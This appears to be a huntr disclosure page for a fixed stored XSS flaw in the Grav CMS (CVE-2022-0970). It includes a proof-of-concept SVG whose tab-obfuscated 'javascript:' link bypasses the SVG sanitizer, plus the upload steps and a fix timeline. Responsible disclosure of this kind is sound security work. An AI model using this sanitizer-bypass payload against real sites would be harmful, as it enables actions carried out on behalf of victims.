huntr

Cross-site Scripting (XSS) - Stored in getgrav/grav

0

✓ Valid Reported on Mar 1st 2022

Description

SVG sanitizer cloud be bypassed via flowing SVG file that leads to stored XSS

Proof of Concept

```
<?xml version="1.0" standalone="no"?>
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
  <a href="javascript&#9;:alert(document.domain)">
    <circle cx="0" cy="0" r="300"/>
  </a>
</svg>
```

Upload the above SVG file in your profile, view it, and click anywhere on the page then XSS will be triggered :

Impact

This vulnerability is capable of performing arbitrary actions on behalf of victims at the client side.

CVE
CVE-2022-0970
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
High (7.1)

Visibility
Public

Status
Fixed

Found by

Anna
@416e6e61
master

Fixed by

Djamil Legato
@w00fz
maintainer

This report was seen 664 times.

We are processing your report and will contact the **getgrav/grav** team within 24 hours.
9 months ago

We have contacted a member of the **getgrav/grav** team and are waiting to hear back
9 months ago

We have sent a follow up to the **getgrav/grav** team. We will try again in 7 days. 9 months ago

Anna 9 months ago Researcher

Any Update ?

We have sent a second follow up to the **getgrav/grav** team. We will try again in 10 days.
8 months ago

Chat with us

Anna 8 months ago Researcher

Any Update?

Djamil Legato validated this vulnerability 8 months ago

Anna has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Djamil Legato marked this as fixed in **1.7.31** with commit **f19297** 8 months ago

Djamil Legato has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Djamil Legato 8 months ago Maintainer

Thank you, we have a fix for this

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

part of 418sec

company

about

team

Chat with us